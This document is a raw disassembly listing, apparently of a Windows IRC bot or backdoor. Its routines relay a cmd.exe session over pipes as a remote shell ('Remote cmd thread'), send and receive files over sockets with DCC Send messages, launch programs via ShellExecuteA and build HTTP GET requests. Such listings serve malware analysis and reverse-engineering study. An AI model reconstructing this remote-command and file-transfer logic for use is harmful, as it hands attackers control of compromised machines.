		push	[ebp+var_714]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_401D35
; ---------------------------------------------------------------------------


loc_401B69:				; CODE XREF: sub_401981+1CEj
		push	[ebp+var_728]
		call	ds:dword_4170A4	; CloseHandle
		mov	eax, [ebp+var_364]
		mov	ds:dword_41DEF4, eax
		mov	eax, [ebp+var_36C]
		mov	ds:dword_41DEE8, eax
		mov	eax, [ebp+var_724]
		mov	ds:dword_41DEEC, eax
		push	[ebp+var_720]
		call	ds:dword_4170A4	; CloseHandle
		and	[ebp+var_4], 0
		and	[ebp+var_208], 0


loc_401BAD:				; CODE XREF: sub_401981+2E9j
					; sub_401981+39Cj
		mov	eax, [ebp+var_714]
		cmp	dword ptr [eax+4], 0
		jz	short loc_401BBE
		jmp	loc_401D22
; ---------------------------------------------------------------------------


loc_401BBE:				; CODE XREF: sub_401981+236j
		and	[ebp+var_208], 0
		push	200h
		push	0
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		push	0
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		push	200h
		lea	eax, [ebp+var_204]
		push	eax
		push	ds:dword_41DEF4
		call	ds:dword_417080	; PeekNamedPipe
		test	eax, eax
		jnz	short loc_401C17
		push	offset aCouldNotReadDa ; "Could	not read data from process."
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_4018AF
		pop	ecx
		pop	ecx
		jmp	loc_401D22
; ---------------------------------------------------------------------------


loc_401C17:				; CODE XREF: sub_401981+27Cj
		cmp	[ebp+var_4], 0
		jnz	short loc_401C6F
		mov	[ebp+var_730], 103h
		lea	eax, [ebp+var_730]
		push	eax
		push	ds:dword_41DEEC
		call	ds:dword_417084	; GetExitCodeProcess
		test	eax, eax
		jz	short loc_401C62
		cmp	[ebp+var_730], 103h
		jz	short loc_401C62
		push	offset aCmd_exeProcess ; "Cmd.exe process has terminated."
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40D53F
		pop	ecx
		pop	ecx
		jmp	loc_401D22
; ---------------------------------------------------------------------------


loc_401C62:				; CODE XREF: sub_401981+2BBj
					; sub_401981+2C7j
		push	0Ah
		call	ds:dword_41709C	; Sleep
		jmp	loc_401BAD
; ---------------------------------------------------------------------------


loc_401C6F:				; CODE XREF: sub_401981+29Aj
		and	[ebp+var_72C], 0
		jmp	short loc_401C85
; ---------------------------------------------------------------------------


loc_401C78:				; CODE XREF: sub_401981:loc_401CAFj
		mov	eax, [ebp+var_72C]
		inc	eax
		mov	[ebp+var_72C], eax


loc_401C85:				; CODE XREF: sub_401981+2F5j
		mov	eax, [ebp+var_72C]
		cmp	eax, [ebp+var_4]
		jnb	short loc_401CB1
		mov	eax, [ebp+var_72C]
		movsx	eax, [ebp+eax+var_204]
		cmp	eax, 0Ah
		jnz	short loc_401CAF
		mov	[ebp+var_208], 1
		jmp	short loc_401CB1
; ---------------------------------------------------------------------------


loc_401CAF:				; CODE XREF: sub_401981+320j
		jmp	short loc_401C78
; ---------------------------------------------------------------------------


loc_401CB1:				; CODE XREF: sub_401981+30Dj
					; sub_401981+32Cj
		cmp	[ebp+var_208], 0
		jz	short loc_401CC6
		mov	eax, [ebp+var_72C]
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_401CCD
; ---------------------------------------------------------------------------


loc_401CC6:				; CODE XREF: sub_401981+337j
		mov	[ebp+var_4], 200h


loc_401CCD:				; CODE XREF: sub_401981+343j
		push	200h
		push	0
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		push	0
		lea	eax, [ebp+var_31C]
		push	eax
		push	[ebp+var_4]
		lea	eax, [ebp+var_204]
		push	eax
		push	ds:dword_41DEF4
		call	ds:dword_417088	; ReadFile
		test	eax, eax
		jnz	short loc_401D08
		jmp	short loc_401D22
; ---------------------------------------------------------------------------


loc_401D08:				; CODE XREF: sub_401981+383j
		lea	eax, [ebp+var_204]
		push	eax
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_4018AF
		pop	ecx
		pop	ecx
		jmp	loc_401BAD
; ---------------------------------------------------------------------------


loc_401D22:				; CODE XREF: sub_401981+238j
					; sub_401981+291j ...
		call	sub_401856
		push	[ebp+var_714]
		call	sub_409763
		pop	ecx
		xor	eax, eax

locret_401D35:				; CODE XREF: sub_401981+67j
					; sub_401981+BBj ...
		leave
		retn	4
sub_401981	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401D39	proc near		; CODE XREF: sub_401D6E+AFp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_4], eax
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_0]
		push	ds:dword_41DEF0
		call	ds:dword_417068	; WriteFile
		test	eax, eax
		jnz	short loc_401D69
		xor	eax, eax
		jmp	short locret_401D6C
; ---------------------------------------------------------------------------


loc_401D69:				; CODE XREF: sub_401D39+2Aj
		push	1
		pop	eax

locret_401D6C:				; CODE XREF: sub_401D39+2Ej
		leave
		retn
sub_401D39	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401D6E	proc near		; CODE XREF: sub_40A9CF+14A0p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+198h]
		test	eax, eax
		jz	short loc_401DA6
		cmp	[ebp+arg_4], 0
		jnz	short loc_401D8B
		jmp	locret_401E36
; ---------------------------------------------------------------------------


loc_401D8B:				; CODE XREF: sub_401D6E+16j
		push	0
		push	0
		push	0
		push	[ebp+arg_4]
		push	offset aOpen	; "open"
		push	0
		call	ds:dword_4171D0	; ShellExecuteA
		jmp	locret_401E36
; ---------------------------------------------------------------------------


loc_401DA6:				; CODE XREF: sub_401D6E+10j
		push	3A7h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_401DBC
		jmp	short locret_401E36
; ---------------------------------------------------------------------------


loc_401DBC:				; CODE XREF: sub_401D6E+4Aj
		cmp	[ebp+arg_4], 0
		jz	short loc_401DD9
		push	200h
		push	[ebp+arg_4]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_407A56
		add	esp, 0Ch


loc_401DD9:				; CODE XREF: sub_401D6E+52j
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 204h
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	offset aRemoteCmdThrea ; "Remote cmd thread"
		push	1
		push	[ebp+var_4]
		push	offset sub_401981
		call	sub_4095A4
		add	esp, 10h
		cmp	[ebp+arg_4], 0
		jnz	short loc_401E0B
		jmp	short locret_401E36
; ---------------------------------------------------------------------------


loc_401E0B:				; CODE XREF: sub_401D6E+99j
		push	offset asc_418214 ; "\r\n"
		push	[ebp+arg_4]
		call	sub_416B70	; strcat
		pop	ecx
		pop	ecx
		push	[ebp+arg_4]
		call	sub_401D39
		pop	ecx
		test	eax, eax
		jnz	short locret_401E36
		push	offset aErrorWhileExec ; "Error	while executing	command."
		push	[ebp+arg_0]
		call	sub_40D53F
		pop	ecx
		pop	ecx

locret_401E36:				; CODE XREF: sub_401D6E+18j
					; sub_401D6E+33j ...
		leave
		retn
sub_401D6E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401E38	proc near		; DATA XREF: sub_4024F3+10Bo

var_614		= qword	ptr -614h
var_60C		= qword	ptr -60Ch
var_604		= dword	ptr -604h
var_600		= dword	ptr -600h
var_5FC		= dword	ptr -5FCh
var_5F8		= dword	ptr -5F8h
var_5F4		= dword	ptr -5F4h
var_5F0		= dword	ptr -5F0h
var_5EC		= dword	ptr -5ECh
var_5E8		= dword	ptr -5E8h
var_5E4		= dword	ptr -5E4h
var_5E0		= dword	ptr -5E0h
var_5DC		= byte ptr -5DCh
var_5BB		= byte ptr -5BBh
var_4B7		= byte ptr -4B7h
var_3B7		= byte ptr -3B7h
var_3AD		= byte ptr -3ADh
var_208		= dword	ptr -208h
var_204		= dword	ptr -204h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 604h
		push	3D6h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_5E0]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		lea	eax, [ebp+var_5BB]
		push	eax
		call	ds:dword_4170AC	; DeleteFileA
		push	offset dword_4182AC
		lea	eax, [ebp+var_5BB]
		push	eax
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_5E4], eax
		cmp	[ebp+var_5E4], 0
		jnz	short loc_401EA3
		push	[ebp+var_5E0]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_4020BE
; ---------------------------------------------------------------------------


loc_401EA3:				; CODE XREF: sub_401E38+56j
		push	2710h
		push	0
		lea	eax, [ebp+var_3B7]
		push	eax
		lea	eax, [ebp+var_4B7]
		push	eax
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_208], eax
		cmp	[ebp+var_208], 0
		jnz	short loc_401EEE
		push	[ebp+var_5E4]
		call	sub_416B82	; fclose
		pop	ecx
		push	[ebp+var_5E0]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_4020BE
; ---------------------------------------------------------------------------


loc_401EEE:				; CODE XREF: sub_401E38+95j
		lea	eax, [ebp+var_5DC]
		push	eax
		lea	eax, [ebp+var_5BB]
		push	eax
		mov	eax, [ebp+var_5E0]
		push	dword ptr [eax]
		push	offset dword_418280
		lea	eax, [ebp+var_3AD]
		push	eax
		call	sub_40D53F
		add	esp, 14h
		call	sub_416B64	; clock
		mov	[ebp+var_5E8], eax
		and	[ebp+var_204], 0


loc_401F2A:				; CODE XREF: sub_401E38:loc_401FD8j
		push	0
		push	200h
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+var_208]
		call	ds:dword_417248	; recv
		mov	[ebp+var_5F0], eax
		cmp	[ebp+var_5F0], 0
		jz	short loc_401F5F
		cmp	[ebp+var_5F0], 200h
		jbe	short loc_401F61


loc_401F5F:				; CODE XREF: sub_401E38+119j
		jmp	short loc_401FDD
; ---------------------------------------------------------------------------


loc_401F61:				; CODE XREF: sub_401E38+125j
		mov	eax, [ebp+var_204]
		add	eax, [ebp+var_5F0]
		mov	[ebp+var_204], eax
		push	[ebp+var_204]
		call	ds:dword_41724C	; ntohl
		mov	[ebp+var_5F4], eax
		push	4
		lea	eax, [ebp+var_5F4]
		push	eax
		push	[ebp+var_208]
		call	sub_4053BF
		add	esp, 0Ch
		push	[ebp+var_5E4]
		push	[ebp+var_5F0]
		push	1
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416B7C	; fwrite
		add	esp, 10h
		cmp	[ebp+var_5F0], 200h
		jnb	short loc_401FC7
		jmp	short loc_401FDD
; ---------------------------------------------------------------------------


loc_401FC7:				; CODE XREF: sub_401E38+18Bj
		mov	eax, [ebp+var_5E0]
		cmp	dword ptr [eax+4], 0
		jz	short loc_401FD8
		jmp	loc_4020BC
; ---------------------------------------------------------------------------


loc_401FD8:				; CODE XREF: sub_401E38+199j
		jmp	loc_401F2A
; ---------------------------------------------------------------------------


loc_401FDD:				; CODE XREF: sub_401E38:loc_401F5Fj
					; sub_401E38+18Dj
		push	[ebp+var_5E4]
		call	sub_416B76	; ftell
		pop	ecx
		mov	[ebp+var_5EC], eax
		call	sub_416B64	; clock
		cmp	[ebp+var_5E8], eax
		jnz	short loc_402008
		call	sub_416B64	; clock
		dec	eax
		mov	[ebp+var_5E8], eax


loc_402008:				; CODE XREF: sub_401E38+1C2j
		mov	eax, [ebp+var_5EC]
		cdq
		mov	ecx, 400h
		idiv	ecx
		mov	[ebp+var_5F8], eax
		fild	[ebp+var_5F8]
		fstp	[ebp+var_5FC]
		call	sub_416B64	; clock
		sub	eax, [ebp+var_5E8]
		mov	[ebp+var_600], eax
		fild	[ebp+var_600]
		fdiv	ds:flt_417270
		fdivr	[ebp+var_5FC]
		push	ecx
		push	ecx
		fstp	[esp+60Ch+var_60C]
		call	sub_416B64	; clock
		sub	eax, [ebp+var_5E8]
		mov	[ebp+var_604], eax
		fild	[ebp+var_604]
		fdiv	ds:flt_417270
		push	ecx
		push	ecx
		fstp	[esp+614h+var_614]
		lea	eax, [ebp+var_5DC]
		push	eax
		lea	eax, [ebp+var_5BB]
		push	eax
		push	offset dword_418234
		lea	eax, [ebp+var_3AD]
		push	eax
		call	sub_40D53F
		add	esp, 20h


loc_402094:				; CODE XREF: sub_401E38:loc_4020BCj
		push	[ebp+var_5E4]
		call	sub_416B82	; fclose
		pop	ecx
		push	[ebp+var_208]
		call	sub_40538D
		pop	ecx
		push	[ebp+var_5E0]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	short locret_4020BE
; ---------------------------------------------------------------------------


loc_4020BC:				; CODE XREF: sub_401E38+19Bj
		jmp	short loc_402094
; ---------------------------------------------------------------------------

locret_4020BE:				; CODE XREF: sub_401E38+66j
					; sub_401E38+B1j ...
		leave
		retn	4
sub_401E38	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4020C2	proc near		; DATA XREF: sub_40260D+7Co

var_A2C		= qword	ptr -0A2Ch
var_A24		= qword	ptr -0A24h
var_A1C		= dword	ptr -0A1Ch
var_A18		= dword	ptr -0A18h
var_A14		= dword	ptr -0A14h
var_A10		= dword	ptr -0A10h
var_A0C		= dword	ptr -0A0Ch
var_A08		= dword	ptr -0A08h
var_A04		= byte ptr -0A04h
var_9FC		= dword	ptr -9FCh
var_9F8		= dword	ptr -9F8h
var_9F4		= dword	ptr -9F4h
var_9F0		= byte ptr -9F0h
var_8EC		= dword	ptr -8ECh
var_8E8		= dword	ptr -8E8h
var_8E4		= dword	ptr -8E4h
var_8E0		= byte ptr -8E0h
var_8BF		= byte ptr -8BFh
var_8BE		= byte ptr -8BEh
var_7BB		= byte ptr -7BBh
var_618		= dword	ptr -618h
var_614		= byte ptr -614h
var_210		= byte ptr -210h
var_10		= byte ptr -10h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0A1Ch
		push	2CCh
		push	[ebp+arg_0]
		lea	eax, [ebp+var_8E4]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		lea	eax, [ebp+var_8BF]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_9F8], eax
		jmp	short loc_40210D
; ---------------------------------------------------------------------------


loc_402100:				; CODE XREF: sub_4020C2:loc_40215Ej
		mov	eax, [ebp+var_9F8]
		dec	eax
		mov	[ebp+var_9F8], eax


loc_40210D:				; CODE XREF: sub_4020C2+3Cj
		cmp	[ebp+var_9F8], 0
		jnz	short loc_40212D
		lea	eax, [ebp+var_8BF]
		push	eax
		lea	eax, [ebp+var_9F0]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		jmp	short loc_402160
; ---------------------------------------------------------------------------


loc_40212D:				; CODE XREF: sub_4020C2+52j
		mov	eax, [ebp+var_9F8]
		movsx	eax, [ebp+eax+var_8BF]
		cmp	eax, 5Ch
		jnz	short loc_40215E
		mov	eax, [ebp+var_9F8]
		lea	eax, [ebp+eax+var_8BE]
		push	eax
		lea	eax, [ebp+var_9F0]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		jmp	short loc_402160
; ---------------------------------------------------------------------------


loc_40215E:				; CODE XREF: sub_4020C2+7Cj
		jmp	short loc_402100
; ---------------------------------------------------------------------------


loc_402160:				; CODE XREF: sub_4020C2+69j
					; sub_4020C2+9Aj
		mov	[ebp+var_8E8], 10h
		lea	eax, [ebp+var_8E8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_40CF25
		push	eax
		call	ds:dword_417240	; getsockname
		push	2
		push	0
		push	0
		push	401h
		lea	eax, [ebp+var_614]
		push	eax
		push	[ebp+var_8E8]
		lea	eax, [ebp+var_10]
		push	eax
		call	ds:dword_41DF58	; getnameinfo
		test	eax, eax
		jz	short loc_4021BA
		push	[ebp+var_8E4]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_4024EF
; ---------------------------------------------------------------------------


loc_4021BA:				; CODE XREF: sub_4020C2+E3j
		push	0Ah
		lea	eax, [ebp+var_A04]
		push	eax
		push	1388h
		push	400h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		push	eax
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		push	1
		lea	eax, [ebp+var_A04]
		push	eax
		call	sub_4046BC
		pop	ecx
		pop	ecx
		mov	[ebp+var_9FC], eax
		cmp	[ebp+var_9FC], 0
		jnz	short loc_40220F
		push	[ebp+var_8E4]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_4024EF
; ---------------------------------------------------------------------------


loc_40220F:				; CODE XREF: sub_4020C2+138j
		push	offset aRb	; "rb"
		lea	eax, [ebp+var_8BF]
		push	eax
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_8EC], eax
		cmp	[ebp+var_8EC], 0
		jnz	short loc_402250
		push	[ebp+var_9FC]
		call	sub_404CBB
		pop	ecx
		push	[ebp+var_8E4]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_4024EF
; ---------------------------------------------------------------------------


loc_402250:				; CODE XREF: sub_4020C2+16Dj
		push	2
		push	0
		push	[ebp+var_8EC]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		push	[ebp+var_8EC]
		call	sub_416B76	; ftell
		pop	ecx
		mov	[ebp+var_A08], eax
		push	0
		push	0
		push	[ebp+var_8EC]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		lea	eax, [ebp+var_614]
		push	eax
		lea	eax, [ebp+var_9F0]
		push	eax
		push	offset aDccSendSS ; "DCC Send %s (%s)"
		lea	eax, [ebp+var_8E0]
		push	eax
		call	sub_40D420
		add	esp, 10h
		push	[ebp+var_A08]
		lea	eax, [ebp+var_A04]
		push	eax
		lea	eax, [ebp+var_614]
		push	eax
		call	ds:dword_417244	; inet_addr
		push	eax
		call	ds:dword_41724C	; ntohl
		push	eax
		lea	eax, [ebp+var_9F0]
		push	eax
		push	offset dword_418348
		lea	eax, [ebp+var_8E0]
		push	eax
		call	sub_40D4AB
		add	esp, 18h
		push	0EA60h
		push	[ebp+var_9FC]
		call	sub_4048EF
		pop	ecx
		pop	ecx
		mov	[ebp+var_618], eax
		cmp	[ebp+var_618], 0
		jz	short loc_40230F
		cmp	[ebp+var_618], 0FFFFFFFFh
		jnz	short loc_40233A


loc_40230F:				; CODE XREF: sub_4020C2+242j
		push	[ebp+var_8EC]
		call	sub_416B82	; fclose
		pop	ecx
		push	[ebp+var_9FC]
		call	sub_404CBB
		pop	ecx
		push	[ebp+var_8E4]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_4024EF
; ---------------------------------------------------------------------------


loc_40233A:				; CODE XREF: sub_4020C2+24Bj
		lea	eax, [ebp+var_8E0]
		push	eax
		lea	eax, [ebp+var_9F0]
		push	eax
		mov	eax, [ebp+var_8E4]
		push	dword ptr [eax]
		push	offset dword_418320
		lea	eax, [ebp+var_7BB]
		push	eax
		call	sub_40D53F
		add	esp, 14h
		call	sub_416B64	; clock
		mov	[ebp+var_9F4], eax


loc_40236F:				; CODE XREF: sub_4020C2:loc_40240Dj
		push	[ebp+var_8EC]
		push	200h
		push	1
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_416B90	; fread
		add	esp, 10h
		mov	[ebp+var_A0C], eax
		cmp	[ebp+var_A0C], 0
		jz	short loc_4023A6
		cmp	[ebp+var_A0C], 200h
		jbe	short loc_4023A8


loc_4023A6:				; CODE XREF: sub_4020C2+2D6j
		jmp	short loc_402412
; ---------------------------------------------------------------------------


loc_4023A8:				; CODE XREF: sub_4020C2+2E2j
		push	[ebp+var_A0C]
		lea	eax, [ebp+var_210]
		push	eax
		push	[ebp+var_618]
		call	sub_4053BF
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4023EE
		lea	eax, [ebp+var_8E0]
		push	eax
		lea	eax, [ebp+var_9F0]
		push	eax
		push	offset dword_4182F4
		lea	eax, [ebp+var_7BB]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		jmp	loc_4024ED
; ---------------------------------------------------------------------------


loc_4023EE:				; CODE XREF: sub_4020C2+303j
		cmp	[ebp+var_A0C], 200h
		jnb	short loc_4023FC
		jmp	short loc_402412
; ---------------------------------------------------------------------------


loc_4023FC:				; CODE XREF: sub_4020C2+336j
		mov	eax, [ebp+var_8E4]
		cmp	dword ptr [eax+4], 0
		jz	short loc_40240D
		jmp	loc_4024EB
; ---------------------------------------------------------------------------


loc_40240D:				; CODE XREF: sub_4020C2+344j
		jmp	loc_40236F
; ---------------------------------------------------------------------------


loc_402412:				; CODE XREF: sub_4020C2:loc_4023A6j
					; sub_4020C2+338j
		call	sub_416B64	; clock
		cmp	[ebp+var_9F4], eax
		jnz	short loc_40242B
		call	sub_416B64	; clock
		dec	eax
		mov	[ebp+var_9F4], eax


loc_40242B:				; CODE XREF: sub_4020C2+35Bj
		mov	eax, [ebp+var_A08]
		cdq
		mov	ecx, 400h
		idiv	ecx
		mov	[ebp+var_A10], eax
		fild	[ebp+var_A10]
		fstp	[ebp+var_A14]
		call	sub_416B64	; clock
		sub	eax, [ebp+var_9F4]
		mov	[ebp+var_A18], eax
		fild	[ebp+var_A18]
		fdiv	ds:flt_417270
		fdivr	[ebp+var_A14]
		push	ecx
		push	ecx
		fstp	[esp+0A24h+var_A24]
		call	sub_416B64	; clock
		sub	eax, [ebp+var_9F4]
		mov	[ebp+var_A1C], eax
		fild	[ebp+var_A1C]
		fdiv	ds:flt_417270
		push	ecx
		push	ecx
		fstp	[esp+0A2Ch+var_A2C]
		lea	eax, [ebp+var_8E0]
		push	eax
		lea	eax, [ebp+var_9F0]
		push	eax
		push	offset dword_4182B0
		lea	eax, [ebp+var_7BB]
		push	eax
		call	sub_40D53F
		add	esp, 20h


loc_4024B7:				; CODE XREF: sub_4020C2:loc_4024EBj
					; sub_4020C2:loc_4024EDj
		push	[ebp+var_618]
		call	sub_40538D
		pop	ecx
		push	[ebp+var_8EC]
		call	sub_416B82	; fclose
		pop	ecx
		push	[ebp+var_9FC]
		call	sub_404CBB
		pop	ecx
		push	[ebp+var_8E4]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	short locret_4024EF
; ---------------------------------------------------------------------------


loc_4024EB:				; CODE XREF: sub_4020C2+346j
		jmp	short loc_4024B7
; ---------------------------------------------------------------------------


loc_4024ED:				; CODE XREF: sub_4020C2+327j
		jmp	short loc_4024B7
; ---------------------------------------------------------------------------

locret_4024EF:				; CODE XREF: sub_4020C2+F3j
					; sub_4020C2+148j ...
		leave
		retn	4
sub_4020C2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4024F3	proc near		; CODE XREF: sub_40D871+203p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		cmp	[ebp+arg_4], 0
		jz	short loc_402511
		cmp	[ebp+arg_8], 0
		jz	short loc_402511
		cmp	[ebp+arg_C], 0
		jz	short loc_402511
		cmp	[ebp+arg_10], 0
		jnz	short loc_402516


loc_402511:				; CODE XREF: sub_4024F3+Aj
					; sub_4024F3+10j ...
		jmp	locret_40260B
; ---------------------------------------------------------------------------


loc_402516:				; CODE XREF: sub_4024F3+1Cj
		push	[ebp+arg_10]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_402531
		cmp	[ebp+var_8], 0FFFFh
		jbe	short loc_402536


loc_402531:				; CODE XREF: sub_4024F3+33j
		jmp	locret_40260B
; ---------------------------------------------------------------------------


loc_402536:				; CODE XREF: sub_4024F3+3Cj
		push	[ebp+arg_14]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jz	short loc_402551
		cmp	[ebp+var_8], 40000000h
		jbe	short loc_402556


loc_402551:				; CODE XREF: sub_4024F3+53j
		jmp	locret_40260B
; ---------------------------------------------------------------------------


loc_402556:				; CODE XREF: sub_4024F3+5Cj
		push	3D6h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_40256F
		jmp	locret_40260B
; ---------------------------------------------------------------------------


loc_40256F:				; CODE XREF: sub_4024F3+75j
		push	21h
		push	[ebp+arg_4]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_416B58	; strncpy
		add	esp, 0Ch
		push	104h
		push	[ebp+arg_8]
		mov	eax, [ebp+var_4]
		add	eax, 25h
		push	eax
		call	sub_416B58	; strncpy
		add	esp, 0Ch
		push	100h
		push	[ebp+arg_C]
		mov	eax, [ebp+var_4]
		add	eax, 129h
		push	eax
		call	sub_416B58	; strncpy
		add	esp, 0Ch
		push	6
		push	[ebp+arg_10]
		mov	eax, [ebp+var_4]
		add	eax, 229h
		push	eax
		call	sub_416B58	; strncpy
		add	esp, 0Ch
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		mov	[eax+22Fh], ecx
		push	1A3h
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 233h
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	offset dword_41837C
		push	0
		push	[ebp+var_4]
		push	offset sub_401E38
		call	sub_4095A4
		add	esp, 18h

locret_40260B:				; CODE XREF: sub_4024F3:loc_402511j
					; sub_4024F3:loc_402531j ...
		leave
		retn
sub_4024F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40260D	proc near		; CODE XREF: sub_40A9CF+98Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_4], 0
		jz	short loc_40261D
		cmp	[ebp+arg_8], 0
		jnz	short loc_40261F


loc_40261D:				; CODE XREF: sub_40260D+8j
		jmp	short locret_402696
; ---------------------------------------------------------------------------


loc_40261F:				; CODE XREF: sub_40260D+Ej
		push	2CCh
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_402635
		jmp	short locret_402696
; ---------------------------------------------------------------------------


loc_402635:				; CODE XREF: sub_40260D+24j
		push	21h
		push	[ebp+arg_4]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_416B58	; strncpy
		add	esp, 0Ch
		push	104h
		push	[ebp+arg_8]
		mov	eax, [ebp+var_4]
		add	eax, 25h
		push	eax
		call	sub_416B58	; strncpy
		add	esp, 0Ch
		push	1A3h
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 129h
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	offset dword_4183A0
		push	0
		push	[ebp+var_4]
		push	offset sub_4020C2
		call	sub_4095A4
		add	esp, 18h

locret_402696:				; CODE XREF: sub_40260D:loc_40261Dj
					; sub_40260D+26j
		leave
		retn
sub_40260D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402698	proc near		; CODE XREF: sub_402A32+5C9p

var_420		= dword	ptr -420h
var_41C		= dword	ptr -41Ch
var_418		= dword	ptr -418h
var_414		= dword	ptr -414h
var_410		= dword	ptr -410h
var_40C		= dword	ptr -40Ch
var_408		= dword	ptr -408h
var_404		= byte ptr -404h
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		push	2710h
		push	0
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_414], eax
		cmp	[ebp+var_414], 0
		jnz	short loc_4026CC
		xor	eax, eax
		jmp	locret_402A22
; ---------------------------------------------------------------------------


loc_4026CC:				; CODE XREF: sub_402698+2Bj
		push	[ebp+arg_8]
		push	[ebp+arg_10]
		push	offset aGetSHttp1_0Hos ; "GET /%s HTTP/1.0\r\nHost: %s\r\n\r\n"
		push	401h
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 14h
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_404]
		push	eax
		push	[ebp+var_414]
		call	sub_4053BF
		add	esp, 0Ch
		push	2710h
		push	401h
		lea	eax, [ebp+var_404]
		push	eax
